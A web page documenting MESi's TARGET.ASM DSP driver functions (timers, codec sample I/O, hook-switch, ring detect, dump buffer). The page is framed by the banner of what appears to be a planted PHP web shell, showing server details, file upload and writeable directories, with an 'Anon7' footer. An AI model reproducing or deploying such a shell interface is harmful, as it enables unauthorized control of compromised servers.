KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/peterbmiller/MESiWeb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/peterbmiller/MESiWeb/target.htm
<html>

<head>
<meta http-equiv="Content-Language" content="en-us">
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Corporate</title>
</head>

<body>

<div align="center"><center>

<table border="1" cellspacing="1" width="100%">
  <tr>
    <td width="69%"><p align="center"><small><small><font face="Arial"><a href="corporate.htm">Corporate</a>
    � <a href="index.html">Home</a> � <a href="license.htm">License</a> � <a
    href="memory.htm">Memory</a> � <a href="mips.htm">MIPs</a> � <a href="perform.htm">Performance</a>
    � <a href="products.htm">Products</a> � <a href="price.htm">Prices</a></font></small></small></td>
    <td width="31%"><p align="center">
    <img src="images/mesi_logo6.gif"
    alt="Mesi_logo6.gif (2951 bytes)" width="187" height="74"></td>
  </tr>
</table>
</center></div>

<p align="center"><font color="#400080"><big><big>
&quot;TARGET.ASM&quot; Hardware Device Driver Information </big></big></font></p>

<p>MESi components all ship with a file that contains drivers for a variety of
hardware components including DSP chip initialization, serial port
initialization, audio codec A/D and DAC interfaces, telephone hook-switch and 
ring detect interfaces, and timer functions.&nbsp; This assembly source driver 
file is called TARGET.ASM with assembly include file TARGET.INC. The TARGET.OBJ Object is built using the appropriate C compiler 
shell or assembler and using the <font color="#008000">-d</font> command-line
option to selectively build the correct drivers for your system
configuration.&nbsp;See the comments at the top of TARGET.ASM for command-line 
symbol definitions for specific target boards.&nbsp; MESi supports demos for several popular hardware boards
including Analog Devices EZ-KIT Lite<sup><font face="Times New Roman">�</font></sup> 
and EZ-LAB boards, Texas Instruments EVM and DSK boards, DSP Research Tiger boards, and
Silicon Labs DAA EVBs. For customers using similar configurations in their own
hardware designs, the driver file serves as a template. </p>
<p>The functions in the driver file are described in detail below. The source
code includes many <font color="#008000">#ifdef</font>s to control the type of
software implementation specific to supported hardware configurations, such as
DSK5416, TIGER5410, EZBF535, etc.</p>
<table border="1" cellspacing="1" width="895">
  <tr>
    <td width="295" bgcolor="#DFE7FF" align="center">

<p><b>Variable or Function Name </b></p>
    </td>
    <td width="79" bgcolor="#DFE7FF" align="center"><b>arguments</b></td>
    <td width="73" bgcolor="#DFE7FF" align="center"><b>returns</b></td>
    <td width="432" bgcolor="#DFE7FF" align="center"><b>Description</b></td>
  </tr>
  <tr>
    <td width="295">

<p>extern void start_timer(void) </p>
    </td>
    <td width="79" align="center">none</td>
    <td width="73" align="center">none</td>
    <td width="432">This function causes the on-chip timer to start from it's
      reset state</td>
  </tr>
  <tr>
    <td width="295">

<p>extern int stop_timer(void) </p>
    </td>
    <td width="79" align="center">none</td>
    <td width="73" align="center">16 bit unsigned</td>
    <td width="432">This function stops the on-chip timer, and returns the
      unsigned integer count value corresponding to the number of CPU cycles
      elapsed since it was started.&nbsp; The on-chip timer is used in the demos
      to provide a mechanism to measure the MIPs for each call to transmitter()
      and receiver().</td>
  </tr>
  <tr>
    <td width="295">

<p>extern void write_sample_to_DAC(int) </p>
    </td>
    <td width="79" align="center">16 bit integer</td>
    <td width="73" align="center">none</td>
    <td width="432">This function writes the 16 bit integer argument to the
      specific hardware device implementing the Digital-to-Analog Converter. The
      hardware is usually a serial port transmit register such as DXR.</td>
  </tr>
  <tr>
    <td width="295">

<p>extern int read_sample_from_ADC(void) </p>
    </td>
    <td width="79" align="center">

<p>&nbsp;none</p>
    </td>
    <td width="73" align="center">16 bit integer</td>
    <td width="432">This function reads a 16 bit integer from the specific
      device implementing the Analog-to-Digital Converter, and returns it to the
      caller.&nbsp; The hardware is usually a serial port receive register such
      as DRR</td>
  </tr>
  <tr>
    <td width="295">

<p>extern int HW_system_delay </p>
    </td>
    <td width="79" align="center">

<p>&nbsp;n/a</p>
    </td>
    <td width="73" align="center">n/a</td>
    <td width="432">This integer is copied into Tx-&gt;system_delay in
      transmitter()'s TX_BLOCK structure.&nbsp; It's initialized with a delay
      value that corresponds to the delays inherent in the selected audio codes.</td>
  </tr>
  <tr>
    <td width="295">

<p>extern void init_hardware(void) </p>
    </td>
    <td width="79" align="center">

<p>&nbsp;none</p>
    </td>
    <td width="73" align="center">none</td>
    <td width="432">This function initializes the DSP chip and hardware
      registers (if applicable) so the the target board will run at 8 kHz sample
      rate through the specified codec device. It also initializes the serial
      port and registers in the audio codec device (if applicable) for operation
      at 8 kHz sample rate.</td>
  </tr>
  <tr>
    <td width="295">

<p>extern int go_off_hook(void) </p>
    </td>
    <td width="79" align="center">

<p>&nbsp;none</p>
    </td>
    <td width="73" align="center">bool</td>
    <td width="432">This function causes the external hook-switch to go
      off-hook. A zero return value indicates that the function successfully
      executed</td>
  </tr>
  <tr>
    <td width="295">

<p>extern int go_on_hook(void) </p>
    </td>
    <td width="79" align="center">

<p>&nbsp;none</p>
    </td>
    <td width="73" align="center">bool</td>
    <td width="432">This function causes the external hook-switch to go on-hook.
      A zero return value indicates that the function successfully executed</td>
  </tr>
  <tr>
    <td width="295">

<p>extern int wait_billing_delay(void) </p>
    </td>
    <td width="79" align="center">

<p>&nbsp;none</p>
    </td>
    <td width="73" align="center">bool</td>
    <td width="432">This function polls the billing delay pin on some DAA
      circuits. It returns zero if the billing delay squelch is inactive, and
      non-zero if the DAA is squelching.</td>
  </tr>
  <tr>
    <td width="295">

<p>extern int poll_ring_indicator(void) </p>
    </td>
    <td width="79" align="center">

<p>&nbsp;none</p>
    </td>
    <td width="73" align="center">bool</td>
    <td width="432">This function polls the hardware ringing indicator and
      returns zero if not ringing, and non-zero if ringing is detected.</td>
  </tr>
  <tr>
    <td width="295">

<p>extern void dump_init(void) </p>
    </td>
    <td width="79" align="center">

<p>none </p>
    </td>
    <td width="73" align="center">none</td>
    <td width="432">This function sets the dump buffer pointer, <font color="#008000">*dump_ptr</font>,
      equal to the start of the dump buffer, <font color="#008000">dump[]</font>.&nbsp;
      It also fills the dump buffer, <font color="#008000">dump[]</font> with a
      &quot;<font color="#FF3300">0xabcd</font>&quot; pattern so that the user
      can quickly determine if valid data has been logged.</td>
  </tr>
  <tr>
    <td width="295">

<p>extern void dump_write(int) </p>
    </td>
    <td width="79" align="center">

<p>&nbsp;16 bit integer</p>
    </td>
    <td width="73" align="center">none</td>
    <td width="432">This function writes the 16 bit integer (32 bits for
      'C3x/C4x) to the location in <font color="#008000">dump</font>[] pointed
      to by *<font color="#008000">dump_ptr</font>, and increments <font color="#008000">dump_ptr.
      </font>If the <font color="#008000">dump</font>[] buffer is full, then the
      function simply returns to the caller with no action performed. This you
      can trigger the dump_write() function endlessly without concern for
      overflow.&nbsp; You can also reset *<font color="#008000">dump_ptr</font>
      to allow logging to continue</td>
  </tr>
  <tr>
    <td width="295">

<p>extern int dump[] </p>
    </td>
    <td width="79" align="center">

<p>&nbsp;n/a</p>
    </td>
    <td width="73" align="center">n/a</td>
    <td width="432">This array is the dump buffer written to by the dump_write()
      function. It's size defaults to 1 unless DUMP_LEN is defined otherwise in
      the C compiler command line (example: -dDUMP_LEN=10000).&nbsp; </td>
  </tr>
  <tr>
    <td width="295">

<p>extern int *dump_ptr </p>
    </td>
    <td width="79" align="center">n/a</td>
    <td width="73" align="center">n/a</td>
    <td width="432">This pointer points to elements in <font color="#008000">dump</font>[]
      and is incremented by the dump_write() function until the end of <font color="#008000">dump</font>[].</td>
  </tr>
  <tr>
    <td width="295">

<p>IQ_DAC_write: </p>
    </td>
    <td width="79" align="center">32 bit long</td>
    <td width="73" align="center">none</td>
    <td width="432">This assembly language routine allows the user to plot the
      modem's I and Q symbol pair to an X-Y display device such as an
      oscilloscope via a dual DAC. The demodulator calls this routine every time
      an I,Q symbol pair is demodulated. The I,Q pair is packed into a 32 bit
      word with I in the lower 16 bits, and Q in the upper 16 bits. Unless
      c54x.c is compiled for target hardware with a dual DAC, such as the DSP
      Research Tiger54x boards, this routine simply returns with no action.</td>
  </tr>
</table>

</body>

</html>

Anon7 - 2021